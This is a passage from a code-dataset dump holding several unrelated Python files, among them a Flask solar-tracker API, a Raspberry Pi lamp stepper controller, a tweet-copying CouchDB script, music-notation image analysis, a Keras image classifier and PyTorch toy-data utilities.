\"todayUptime\": site.todayUptime, \"yesterdayUptime\": site.yesterdayUptime,\n \"sinceCommissioningUptime\": site.sinceCommissioningUptime, \"trackerModelNo\": site.trackerModelNo,\n \"masterControllerModeNo\": site.masterControllerModeNo, \"softwareVersionNo\": site.softwareVersionNo,\n \"plantName\": site.plantName, \"locationForMap\": site.locationForMap, \"linkForMap\": site.linkForMap,\n \"clientName\": site.clientName, \"plantCapacity\": site.plantCapacity, \"CoD\": site.CoD}\n return jsonify(site_data)\n\n@app.route('/minLog', methods=['GET'])\ndef minLogMethod():\n site = Site.objects.get()\n return jsonify({\"minLog\": site.minLog})\n\n@app.route('/getZoneControllerInfo/', methods=['GET'])\ndef getZoneControllerInfo(zoneID):\n print(zoneID)\n zone = Zone.objects.get(zoneID=zoneID)\n row_data = []\n row_ids = []\n row_id = StaticRow.objects(zoneID=zoneID) #getting row ids with zoneID as StaticRow objects\n for row in range(zone.rows):\n row_ids.append(row_id[row].id) #getting objectID of each row using StaticRow objects\n row_data.append(StaticRow.objects.get(id=row_ids[row])) #StaticRow data of zoneID as a list\n\n data = {'ZoneData': zone, 'RowData': row_data}\n\n return jsonify({'result': 'success', 'message': data})\n\n@app.route('/getStaticData', methods=['GET'])\ndef getStaticData():\n data = []\n zone_ids = []\n zone_data = []\n zone_id = Zone.objects()\n for zone in range(Zone.objects.count()):\n zone_ids.append(zone_id[zone].id) #getting zone ids\n zone_data.append(Zone.objects.get(id=zone_ids[zone])) #zone data\n row_data = []\n row_ids = []\n zoneID = zone_data[zone]['zoneID']\n row_id = StaticRow.objects(zoneID=zoneID) #getting row ids using zoneID, as StaticRow objects\n for row in range(zone_data[zone]['rows']):\n row_ids.append(row_id[row].id) #getting objectID of each row using StaticRow objects\n row_data.append(StaticRow.objects.get(id=row_ids[row])) #StaticRow data of zoneID as a list\n\n data.append({'ZoneData': zone_data[zone], 'RowData': row_data}) #static zone data + all of its row's static data\n\n return jsonify({'result': 'success', 'message': data}) #returning all static data as [{'zoneData':zone1, 'rowData':{row1, row2 ...}}, {'zoneData':zone2, 'rowData':{row1,row2, ...}, ...]\n\n@app.route('/getHistoricalData/', methods=['GET'])\ndef getHistoricalDataMethod(timeStamp):\n rowDataReq = []\n rowData_objectIDs = []\n rowData_objects = DynamicRow.objects()\n for data in range(DynamicRow.objects.count()):\n rowData_objectIDs.append(rowData_objects[data].id)\n rowData = DynamicRow.objects.get(id=rowData_objectIDs[data])\n if int(rowData.timeStamp) >= int(timeStamp):\n rowDataReq.append(rowData)\n\n return jsonify({'result': 'success', 'message': rowDataReq})", "sub_path": "views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 5011, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "random.getrandbits", "line_number": 22, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 26, "usage_type": "call"}, {"api_name": "random.getrandbits", "line_number": 31, "usage_type": "call"}, {"api_name": "jwt.encode", "line_number": 35, "usage_type": "call"}, {"api_name": "app.app.config", "line_number": 35, "usage_type": "attribute"}, {"api_name": "app.app", "line_number": 35, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 37, "usage_type": "call"}, {"api_name": "app.app.route", "line_number": 19, "usage_type": "call"}, {"api_name": "app.app", "line_number": 19, "usage_type": "name"}, {"api_name": "jwt.decode", "line_number": 46, "usage_type": "call"}, {"api_name": "app.app.config", "line_number": 46, "usage_type": "attribute"}, {"api_name": "app.app", "line_number": 46, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 52, "usage_type": "call"}, {"api_name": "time.time", "line_number": 56, "usage_type": "call"}, {"api_name": "jwt.encode", "line_number": 57, "usage_type": "call"}, {"api_name": "app.app.config", "line_number": 57, "usage_type": "attribute"}, {"api_name": "app.app", "line_number": 57, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 58, "usage_type": "call"}, {"api_name": "app.app.route", "line_number": 41, "usage_type": "call"}, {"api_name": "app.app", "line_number": 41, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 72, "usage_type": "call"}, {"api_name": "app.app.route", "line_number": 64, "usage_type": "call"}, {"api_name": "app.app", "line_number": 64, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 77, "usage_type": "call"}, {"api_name": "app.app.route", "line_number": 74, "usage_type": "call"}, {"api_name": "app.app", "line_number": 74, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 92, "usage_type": "call"}, {"api_name": "app.app.route", "line_number": 79, "usage_type": "call"}, {"api_name": "app.app", "line_number": 79, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 113, "usage_type": "call"}, {"api_name": "app.app.route", "line_number": 94, "usage_type": "call"}, {"api_name": "app.app", "line_number": 94, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 126, "usage_type": "call"}, {"api_name": "app.app.route", "line_number": 115, "usage_type": "call"}, {"api_name": "app.app", "line_number": 115, "usage_type": "name"}]} {"seq_id": "348280373", "text": "# author: rluthi\n# date: 04.2016\n# version 0.1\n\nimport Settings as S\nimport subprocess\nimport logging\nimport time\nimport RPi.GPIO as GPIO\nimport numpy as np\nimport math\n\nlog = logging.getLogger('root')\n\nclass LampController:\n # Define GPIO signals to use\n # Physical pins 11,15,16,18\n # GPIO17,GPIO22,GPIO23,GPIO2\n stepPins = [17,22,23,24]\n\n # Define advanced sequence\n # as shown in manufacturers datasheet\n seq = [[1,0,0,1],\n [1,0,0,0],\n [1,1,0,0],\n [0,1,0,0],\n [0,1,1,0],\n [0,0,1,0],\n [0,0,1,1],\n [0,0,0,1]]\n\n # Default delay between steps [ms]\n delayBetweenSteps = 2 # [ms]\n\n # Steps needed to turn the lamp on at 100%\n steps2turnOnLamp = 3800\n\n def __init__(self):\n log.info(\"Initialization...\")\n GPIO.setmode(GPIO.BCM)\n # Set all pins as output and to false\n for pin in self.stepPins:\n GPIO.setup(pin,GPIO.OUT)\n GPIO.output(pin, False)\n\n # Number of steps in one sequence\n self.stepsInOneSequence = len(self.seq)\n\n # Number of steps done during this sequence\n self.stepsDone = 0;\n self.running = False\n\n ## EXTERNAL METHODS ##\n \n def shutdown(self):\n log.info(\"Shutting down...\")\n self.turnLampOff()\n self.setAllOutputGPIOtoFalse()\n\n def turnLampOnToPercentage(self, percentage):\n try: \n log.info(\"Setting the lamp to \" + str(percentage) + \"%\")\n if (percentage > 100 or percentage < 0):\n log.warning(\"Wrong percentage value!\")\n raise ValueError(\"Must be between 0 and 100\")\n\n targetSteps = int(math.floor(self.steps2turnOnLamp * percentage / 100))\n nbStepsToGo = targetSteps - self.stepsDone\n self.doSteps(-nbStepsToGo)\n self.stepsDone += nbStepsToGo;\n except:\n log.warning(\"Something has gone wrong! Shutting down...\")\n self.shutdown()\n\n\n ## INTERNAL METHODS ##\n\n def setAllOutputGPIOtoFalse(self):\n for pin in self.stepPins:\n GPIO.output(pin, False)\n log.info(\"All output GPIO set to False\")\n\n\n def turnLampOff(self):\n log.info(\"Turing the lamp off!\")\n self.doSteps(self.stepsDone);\n self.stepsDone = 0;\n\n # A step is a change of GPIO output values to push the pole further. \n def doSteps(self, nbSequencesToDo):\n nbStepsDone = 0;\n rotDirection = np.sign(nbSequencesToDo)\n nbSequencesDone = 0\n stepInSequence = 0\n delayBetweenSteps_s = self.delayBetweenSteps / float(1000)\n\n # The sign information of nbSequencesToDo is recorded in rotDirection \n nbSequencesToDo = abs(nbSequencesToDo)\n\n while nbSequencesDone < nbSequencesToDo:\n # print(\"Step: \" + str(nbSequencesDone + 1))\n for i, pin in enumerate(self.stepPins):\n if self.seq[stepInSequence][i] == 1:\n GPIO.output(pin, True)\n else:\n GPIO.output(pin, False)\n \n # Increment or decrement stepInSequence depending of rotation direction\n stepInSequence += rotDirection * 1\n\n # Pause\n time.sleep(delayBetweenSteps_s)\n\n # Reinitialize stepInSequence when the end of a sequence is reached\n if (stepInSequence>=self.stepsInOneSequence):\n stepInSequence = 0\n elif (stepInSequence<0): # this happens when rotDirection = -1\n stepInSequence = 7\n # Increment the number of steps performed\n nbSequencesDone += 1", "sub_path": "LampController.py", "file_name": "LampController.py", "file_ext": "py", "file_size_in_byte": 3291, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "logging.getLogger", "line_number": 13, "usage_type": "call"}, {"api_name": "RPi.GPIO.setmode", "line_number": 40, "usage_type": "call"}, {"api_name": "RPi.GPIO", "line_number": 40, "usage_type": "name"}, {"api_name": "RPi.GPIO.BCM", "line_number": 40, "usage_type": "attribute"}, {"api_name": "RPi.GPIO.setup", "line_number": 43, "usage_type": "call"}, {"api_name": "RPi.GPIO", "line_number": 43, "usage_type": "name"}, {"api_name": "RPi.GPIO.OUT", "line_number": 43, "usage_type": "attribute"}, {"api_name": "RPi.GPIO.output", "line_number": 44, "usage_type": "call"}, {"api_name": "RPi.GPIO", "line_number": 44, "usage_type": "name"}, {"api_name": "math.floor", "line_number": 67, "usage_type": "call"}, {"api_name": "RPi.GPIO.output", "line_number": 80, "usage_type": "call"}, {"api_name": "RPi.GPIO", "line_number": 80, "usage_type": "name"}, {"api_name": "numpy.sign", "line_number": 92, "usage_type": "call"}, {"api_name": "RPi.GPIO.output", "line_number": 104, "usage_type": "call"}, {"api_name": "RPi.GPIO", "line_number": 104, "usage_type": "name"}, {"api_name": "RPi.GPIO.output", "line_number": 106, "usage_type": "call"}, {"api_name": "RPi.GPIO", "line_number": 106, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 112, "usage_type": "call"}]} {"seq_id": "51068872", "text": "import couchdb\nimport settings\nimport settings_2\nimport tweepy\nfrom tweepy import Stream, OAuthHandler\nimport json\n\n\ndef setupExtractor():\n\n auth = OAuthHandler(settings.consumer_key,\n settings.consumer_secret)\n\n auth.set_access_token(settings.access_token,\n settings.access_secret)\n\n\n api = tweepy.API(auth, wait_on_rate_limit=True, wait_on_rate_limit_notify=True)\n\n\n return api\n\n\nextractor = setupExtractor()\nserver = couchdb.Server(\"http://cs-massadl.union.edu:5984/\")\ndb = server[settings.database]\ndbTwo = server[settings_2.database]\n\nprint(\"Servers obtained!\")\n\n\ndef placeTrumpTweets():\n tweetNum = 0\n for tweet in db:\n tweetNum+=1\n tobject = db.get(tweet)\n #print(\"Checking tweet number \", tweetNum)\n tuser = tobject.get(\"user\")\n print(\"Checking user number \", tweetNum, \". Screen name = \" , tuser.get(\"screen_name\"))\n if tuser.get(\"screen_name\") == \"realDonaldTrump\":\n print(\"Tweet added! Text = \", tobject.get(\"text\"))\n del tobject[\"_id\"]\n del tobject[\"_rev\"]\n dbTwo.save(tobject)\n\n\nprint(placeTrumpTweets())", "sub_path": "dborganization.py", "file_name": "dborganization.py", "file_ext": "py", "file_size_in_byte": 1169, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "tweepy.OAuthHandler", "line_number": 11, "usage_type": "call"}, {"api_name": "settings.consumer_key", "line_number": 11, "usage_type": "attribute"}, {"api_name": "settings.consumer_secret", "line_number": 12, "usage_type": "attribute"}, {"api_name": "settings.access_token", "line_number": 14, "usage_type": "attribute"}, {"api_name": "settings.access_secret", "line_number": 15, "usage_type": "attribute"}, {"api_name": "tweepy.API", "line_number": 18, "usage_type": "call"}, {"api_name": "couchdb.Server", "line_number": 25, "usage_type": "call"}, {"api_name": "settings.database", "line_number": 26, "usage_type": "attribute"}, {"api_name": "settings_2.database", "line_number": 27, "usage_type": "attribute"}]} {"seq_id": "98115592", "text": "from ...rest import Rest\nfrom ...rest import api_register\nimport logging\n\n# module level logging\nlogger = logging.getLogger(__name__)\n\n@api_register(parent=\"fabric\", path=\"ept/node\")\nclass eptNode(Rest):\n \"\"\" ept nodes \"\"\"\n\n logger = logger\n\n META_ACCESS = {\n \"create\": False,\n \"read\": True,\n \"update\": False,\n \"delete\": False,\n }\n\n META = {\n \"node\": {\n \"type\": int,\n \"key\": True,\n \"min\": 1,\n \"max\": 0xffffffff,\n \"description\": \"\"\" \n node id corresponding to this node. For nodes with role 'vpc', this is an emulated id\n unique to the two nodes in the vpc domain\n \"\"\",\n },\n \"pod_id\": {\n \"type\": int,\n \"description\": \"pod identifier\",\n \"min\": 1,\n \"max\": 4096,\n },\n \"name\": {\n \"type\":str, \n \"description\": \"node name as seen in fabric node vector\",\n },\n \"oob_addr\": {\n \"type\": str,\n \"default\": \"0.0.0.0\",\n \"description\": \"node out-of-band management address\",\n },\n \"state\": {\n \"type\": str,\n \"description\": \"fabricNode state indicating whether it is in-service or inactive\",\n },\n \"role\": {\n \"type\": str,\n \"values\": [\"controller\", \"leaf\", \"spine\", \"vpc\"],\n \"description\": \"node role to differentiate between controllers, leafs, and spines\",\n },\n \"addr\": {\n \"type\": str,\n \"default\": \"0.0.0.0\",\n \"description\": \"32-bit physical TEP ipv4 address of node\",\n },\n \"peer\": {\n \"type\": int,\n \"default\": 0,\n \"description\": \"node id of vpc peer if this node is in a vpc domain\",\n },\n \"nodes\": {\n \"type\": list,\n \"description\": \"nodes of type vpc includes a list of id/peerIp objects\",\n \"default\": [],\n \"subtype\": dict,\n \"meta\": {\n \"node\": {\n \"type\": int,\n \"description\": \"node-id of node in this vpc domain\",\n },\n \"addr\": {\n \"type\": str,\n \"description\": \"physical TEP address of node in this vpc domain\",\n },\n },\n },\n }\n\n", "sub_path": "Service/app/models/aci/ept/ept_node.py", "file_name": "ept_node.py", "file_ext": "py", "file_size_in_byte": 2387, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "logging.getLogger", "line_number": 6, "usage_type": "call"}, {"api_name": "rest.Rest", "line_number": 9, "usage_type": "name"}, {"api_name": "rest.api_register", "line_number": 8, "usage_type": "call"}]} {"seq_id": "628265419", "text": "#!/usr/bin/python\n# -*- coding: Utf-8 -*\n\n\"\"\"Module notes_amas\"\"\"\n\n#----------------------------------------------------------\n# Importation des librairies\n\nimport numpy as np\nfrom matplotlib import pylab as plt\nimport matplotlib.pyplot as plt2\nfrom math import *\n\n#----------------------------------------------------------\n# Variables globales empiriques\n\n#Nombre maximal de croches sur une même note\nnbr_croches = 2\n\n#----------------------------------------------------------\n# Fonctions\n\n#on retire les portées de l'image\ndef enleve_portees(img,soluce):\n\tfor x in range(img.shape[0]):\n\t\tfor y in range(img.shape[1]):\n\t\t\tif round(y*soluce[0]+soluce[1]) == round(x):\n\t\t\t\timg[x][y] = 1\n\t\t\t\timg[x-1][y] = 1\n\t\t\t\timg[x+1][y] = 1 #peu précis mais imprécision des droites détectées oblige\t\n\treturn img\n\ndef enleve_portees_liste(img,liste):\n\timg1 = np.zeros(img.shape,np.int)\n\timg2 = np.zeros(img.shape,np.int)\n\tfor elt in liste:\n\t\timg1 = enleve_portees(img,elt)\n\t\timg2 = union(img2,img1)\n\treturn img2\n\n#Dessine un structurant adapté pour l'ouverture en tout ou rien\ndef cree_structurant(rayon):\n\th = int(3 + 4*rayon)\n\tl = int(7 + 2*rayon)\n\ta = np.zeros((h,l),int)\n\t#2 : indifférent, blanc ou noir\n\tfor x in range(h):\n\t\tfor y in range(l):\n\t\t\ta[x][y] = 2\n\t\n\t#1: points blancs\n\t\"\"\"for y in range(1+rayon):\n\t\ta[0][y] = 1\t\n\t\ta[a.shape[0]-1][a.shape[1]-1-y] = 1\"\"\"\n\t\"\"\"for x in range(rayon):\n\t\ta[x][0] = 1\t\n\t\ta[a.shape[0]-1-x][a.shape[1]-1] = 1\"\"\"\n\tfor x in range(h):\n\t\ta[x][0] = 1\n\t\ta[x][l-1] = 1\n\t\n\t#0: points noirs\n\tfor x in range(1+rayon,a.shape[0]-(1+rayon)):\n\t\tfor y in range(a.shape[1]):\n\t\t\ta[x][a.shape[1]/2] = 0\n\tfor x in range(1+rayon,a.shape[0]/2+1):\n\t\tfor y in range(a.shape[1]/2-(x-(1+rayon)),1+a.shape[1]/2+(x-(1+rayon))):\n\t\t\ta[x][y] = 0\n\t\t\ta[a.shape[0]-x-1][y] = 0\n\treturn a\t\n\n#détermine s'il y a une note à proximité de /collées à la barre verticale\ndef existe_note(img,ecart,i,j,seuil,coul):\n\tsomme = 0\n\trep = False\n\tecart = int(round(ecart))\n\tfor x in range(i-ecart,i):\n\t\tfor y in range(j-ecart,j):\n\t\t\tif x < img.shape[0] and y < img.shape[1]:\n\t\t\t\tif img[x][y] == 0:\n\t\t\t\t\tsomme = 1 + somme\n\t\t\t\t#plt.plot([j-ecart,j,j,j-ecart,j-ecart],[i-ecart-1,i-ecart-1,i-1,i-1,i-ecart-1])\n\t#si on remplit plus de 20% du carré \"en bas\"\n\tif somme*100 >= seuil*ecart*ecart:\n\t\tc1 = plt2.Circle(((2*j-ecart)/2,i),3*e/2,color=coul)\n\t\tplt2.gcf().gca().add_artist(c1)\n\t\trep = True\n\telse:\n\t\tsomme = 0\n\t\tfor x in range(i-ecart,i):\n\t\t\tfor y in range(j,j+ecart):\n\t\t\t\tif x < img.shape[0] and y < img.shape[1]:\n\t\t\t\t\tif img[x][y] == 0:\n\t\t\t\t\t\tsomme = 1 + somme\n\t\t\t\t\t#plt.plot([j,j+ecart,j+ecart,j,j],[i-ecart+1,i-ecart+1,i+1,i+1,i-ecart+1])\n\t\t#si on remplit plus de 20% du carré \"en haut\"\n\t\tif somme*100 >= seuil*ecart*ecart:\n\t\t\tc1 = plt2.Circle(((2*j+ecart)/2,i),3*e/2,color=coul)\n\t\t\tplt2.gcf().gca().add_artist(c1)\n\t\t\trep = True\n\treturn rep\n\n#pour chaque barre verticale identifiée, on regarde si c'est une note de musique\ndef existe_noire_img(img,liste,ecart,pc_note):\n\tfor elt in liste:\n\t\telt.append(existe_note(img,ecart,elt[1],elt[2],pc_note,'g'))\n\t\telt.append(existe_note(img,ecart,elt[0],elt[2],pc_note,'g'))\n\treturn liste\n\n#identifie une éventuelle croche en haut d'une barre verticale\ndef existe_croche_haut(img,ecart,i,j,pc_cro):\n\tsomme = 0\n\trep = 0\n\tecart = int(round(ecart))\n\te2 = int(round(ecart/2))\n\tfor x in range(i,i+e2):\n\t\tfor y in range(j-e2,j):\n\t\t\tif x < img.shape[0] and y < img.shape[1]:\n\t\t\t\tif img[x][y] == 0:\n\t\t\t\t\tsomme = 1 + somme\n\tif somme*100 >= pc_cro*e2*e2:\n\t\tp = plt2.Rectangle((j,i),e2,e2,color='b')\n\t\tplt2.gcf().gca().add_artist(p)\n\t\trep = 1\n\telse:\n\t\tsomme = 0\n\t\tfor x in range(i,i+e2):\n\t\t\tfor y in range(j,j+e2):\n\t\t\t\tif x < img.shape[0] and y < img.shape[1]:\n\t\t\t\t\tif img[x][y] == 0:\n\t\t\t\t\t\tsomme = 1 + somme\n\t\tif somme*100 >= pc_cro*e2*e2:\n\t\t\tp = plt2.Rectangle((j,i),e2,e2,color='b')\n\t\t\tplt2.gcf().gca().add_artist(p)\n\t\t\trep = 1\n\treturn rep\n\n#identifie une éventuelle croche en bas d'une barre verticale\ndef existe_croche_bas(img,ecart,i,j,pc_cro):\n\tsomme = 0\n\trep = 0\n\tecart = int(round(ecart))\n\te2 = int(round(ecart/2))\n\tfor x in range(i-e2,i):\n\t\tfor y in range(j-e2,j):\n\t\t\tif x < img.shape[0] and y < img.shape[1]:\n\t\t\t\tif img[x][y] == 0:\n\t\t\t\t\tsomme = 1 + somme\n\tif somme*100 >= pc_cro*e2*e2:\n\t\tp = plt2.Rectangle((j-e2,i-e2),e2,e2,color='b')\n\t\tplt2.gcf().gca().add_artist(p)\n\t\trep = 1\n\telse:\n\t\tsomme = 0\n\t\tfor x in range(i-e2,i):\n\t\t\tfor y in range(j,j+e2):\n\t\t\t\tif x < img.shape[0] and y < img.shape[1]:\n\t\t\t\t\tif img[x][y] == 0:\n\t\t\t\t\t\tsomme = 1 + somme\n\t\tif somme*100 >= pc_cro*e2*e2:\n\t\t\tp = plt2.Rectangle((j-e2,i-e2),e2,e2,color='b')\n\t\t\tplt2.gcf().gca().add_artist(p)\n\t\t\trep = 1\n\treturn rep\n\n#jusqu'à nbr_croches croches\ndef existe_autre_croche(img,liste,ecart,pc_cro):\n\tecart = int(round(ecart))\n\tfor elt in liste:\n\t\tif len(elt) > 5:\n\t\t\tif elt[5] != 0:\n\t\t\t\tfor i in range(1,nbr_croches):\n\t\t\t\t\telt[5] = (existe_croche_haut(img,ecart,elt[0]+i*ecart,elt[2],pc_cro) or existe_croche_bas(img,ecart,elt[1]-i*ecart,elt[2],pc_cro)) + elt[5]\n\treturn liste\n\n#détermine suivant les résultats de l'existence de notes, l'existence de croches, de blanches ou de barres de mesure\ndef existe_croche_blanche_mesure(img,img2,liste,ecart,pc_cro,pc_blan):\n\tfor elt in liste:\n\t\t#Si on a une noire en haut ou (exclusif) en bas\n\t\tif (not(elt[3]) and elt[4]) or (elt[3] and not(elt[4])):\n\t\t\tif elt[3]:\n\t\t\t\telt.append(existe_croche_haut(img,ecart,elt[0],elt[2],pc_cro))\n\t\t\telse:\n\t\t\t\telt.append(existe_croche_bas(img,ecart,elt[1],elt[2],pc_cro))\n\t\t\t#on regarde s'il y a d'autres croches\n\t\t\tliste = existe_autre_croche(img,liste,ecart,pc_cro)\n\t\t\telt.extend([False,False])\n\t\t\t\n\t\t#s'il n'y a pas de noire\n\t\telif (not(elt[3]) and not(elt[4])):\n\t\t\t#on met le nombre de croches à zéro\n\t\t\telt.append(0)\n\t\t\telt.append(existe_note(img2,ecart,elt[1],elt[2],pc_blan,'magenta'))\n\t\t\telt.append(existe_note(img2,ecart,elt[0],elt[2],pc_blan,'magenta'))\n\t\t\t\n\t\t\t#c'est une barre de mesure (ni noire, ni blanche)\n\t\t\tif (not(elt[6]) and not(elt[7])):\n\t\t\t\t#elt.extend('m')\n\t\t\t\tx = [elt[2],elt[2]]\n\t\t\t\ty = [elt[0],elt[1]]\n\t\t\t\tplt.plot(x,y,'b')\n\treturn liste\n\ndef max_matrice(img):\n\tm=0\n\tfor i in range(img.shape[0]):\n\t\tfor j in range(img.shape[1]):\n\t\t\tif img[i][j] > m:\n\t\t\t\tm = img[i][j]\n\treturn m\n", "sub_path": "notes_amas.py", "file_name": "notes_amas.py", "file_ext": "py", "file_size_in_byte": 6190, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "numpy.zeros", "line_number": 34, "usage_type": "call"}, {"api_name": "numpy.int", "line_number": 34, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 35, "usage_type": "call"}, {"api_name": "numpy.int", "line_number": 35, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 45, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.Circle", "line_number": 85, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 85, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.gcf", "line_number": 86, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 86, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.Circle", "line_number": 98, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 98, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.gcf", "line_number": 99, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 99, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.Rectangle", "line_number": 122, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 122, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.gcf", "line_number": 123, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 123, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.Rectangle", "line_number": 133, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 133, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.gcf", "line_number": 134, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 134, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.Rectangle", "line_number": 150, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 150, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.gcf", "line_number": 151, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 151, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.Rectangle", "line_number": 161, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 161, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.gcf", "line_number": 162, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 162, "usage_type": "name"}, {"api_name": "matplotlib.pylab.plot", "line_number": 201, "usage_type": "call"}, {"api_name": "matplotlib.pylab", "line_number": 201, "usage_type": "name"}]} {"seq_id": "248500075", "text": "import tensorflow.keras\nfrom PIL import Image, ImageOps\nimport numpy as np\nimport pathlib\n# Disable scientific notation for clarity\nnp.set_printoptions(suppress=True)\n\n# Load the model\nmodel = tensorflow.keras.models.load_model('converted_keras/keras_model.h5')\n\n# Create the array of the right shape to feed into the keras model\n# The 'length' or number of images you can put into the array is\n# determined by the first position in the shape tuple, in this case 1.\ndata = np.ndarray(shape=(1, 224, 224, 3), dtype=np.float32)\n\n# need a loop for it to do multiple pictures\ndef get_file_list(data_dir, file_type='jpg'):\n \"\"\"! Creates a list of the files of file_type in data_dir\n @param data_dir The directory to count in\n @param file_type A string containing the extension of the files to count (jpg is default)\n\n @returns A list of all the files of type file_type in data_dir\n \"\"\"\n data_dir = pathlib.Path(data_dir)\n img_list = list(data_dir.glob(f'*.{file_type}'))\n # return img_list\n\n for image_name in img_list:\n # Replace this with the path to your image\n image = Image.open(image_name)\n\n #resize the image to a 224x224 with the same strategy as in TM2:\n #resizing the image to be at least 224x224 and then cropping from the center\n size = (224, 224)\n image = ImageOps.fit(image, size, Image.ANTIALIAS)\n\n #turn the image into a numpy array\n image_array = np.asarray(image)\n\n # display the resized image\n image.show()\n\n # Normalize the image\n normalized_image_array = (image_array[:,:,0:3].astype(np.float32) / 127.0) - 1\n\n # Load the image into the array\n data[0] = normalized_image_array\n\n # run the inference\n prediction = model.predict(data)\n print(prediction)\nget_file_list('Test', 'png')", "sub_path": "teachable_machine.py", "file_name": "teachable_machine.py", "file_ext": "py", "file_size_in_byte": 1842, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "numpy.set_printoptions", "line_number": 6, "usage_type": "call"}, {"api_name": "tensorflow.keras.keras.models.load_model", "line_number": 9, "usage_type": "call"}, {"api_name": "tensorflow.keras.keras", "line_number": 9, "usage_type": "attribute"}, {"api_name": "tensorflow.keras", "line_number": 9, "usage_type": "name"}, {"api_name": "numpy.ndarray", "line_number": 14, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 14, "usage_type": "attribute"}, {"api_name": "pathlib.Path", "line_number": 24, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 30, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 30, "usage_type": "name"}, {"api_name": "PIL.ImageOps.fit", "line_number": 35, "usage_type": "call"}, {"api_name": "PIL.ImageOps", "line_number": 35, "usage_type": "name"}, {"api_name": "PIL.Image.ANTIALIAS", "line_number": 35, "usage_type": "attribute"}, {"api_name": "PIL.Image", "line_number": 35, "usage_type": "name"}, {"api_name": "numpy.asarray", "line_number": 38, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 44, "usage_type": "attribute"}]} {"seq_id": "227825892", "text": "import matplotlib\nmatplotlib.use('Agg')\nimport matplotlib.pyplot as plt\n# import seaborn as sns\n\nimport os\nimport shutil\nimport torch\nimport numpy as np\nimport sklearn\nimport sklearn.datasets\nfrom sklearn.preprocessing import StandardScaler\n\n\ndef save_checkpoint(\n\tstate, is_best, folder='./', filename='checkpoint.pth.tar'):\n\tif not os.path.isdir(folder):\n\t\tos.mkdir(folder)\n\ttorch.save(state, os.path.join(folder, filename))\n\tif is_best:\n\t\tshutil.copyfile(os.path.join(folder, filename), os.path.join(folder, 'model_best.pth.tar'))\n\n\ndef plot_samples(samples, data, epoch, args):\n\t\"\"\"\n\tplotting code to look at both original data and model samples\n\t\"\"\"\n\tfig = plt.figure(figsize=(8,3))\n\tax1 = fig.add_subplot(121)\n\tax2 = fig.add_subplot(122)\n\tdata = data.tensors[0].cpu().numpy()\n\n\t# plot real data and samples\n\tax1.scatter(data[:, 0], data[:, 1], s=10)\n\tax1.set_title('Real data')\n\n\tax2.scatter(samples[:, 0], samples[:, 1], s=10)\n\tax2.set_title('Generated Samples at Epoch {}'.format(epoch))\n\t\n\t# despine then save plot\n\t# sns.despine()\n\tplt.tight_layout()\n\tplt.savefig(\n\t\tos.path.join(args.out_dir, 'samples_epoch{}.png'.format(epoch)))\n\n\ndef make_halfmoon_toy_dataset(n_samples=30000, batch_size=100):\n\t# lucky number\n\trng = np.random.RandomState(777)\n\t\n\t# generate data and normalize to 0 mean\n\tdata = sklearn.datasets.make_moons(n_samples=n_samples, noise=0.05)[0]\n\tdata = data.astype(\"float32\")\n\tdata = StandardScaler().fit_transform(data)\n\n\t# turn this into a torch dataset\n\tdata = torch.from_numpy(data).float()\n\n\t# change this to train/val/test split\n\tp_idx = np.random.permutation(n_samples)\n\ttrain_idx = p_idx[0:24000]\n\tval_idx = p_idx[24000:27000]\n\ttest_idx = p_idx[27000:]\n\n\t# partition data into train/valid/test\n\ttrain_dataset = torch.utils.data.TensorDataset(data[train_idx])\n\tval_dataset = torch.utils.data.TensorDataset(data[val_idx])\n\ttest_dataset = torch.utils.data.TensorDataset(data[test_idx])\n\n\ttrain_loader = torch.utils.data.DataLoader(\n\t\ttrain_dataset, 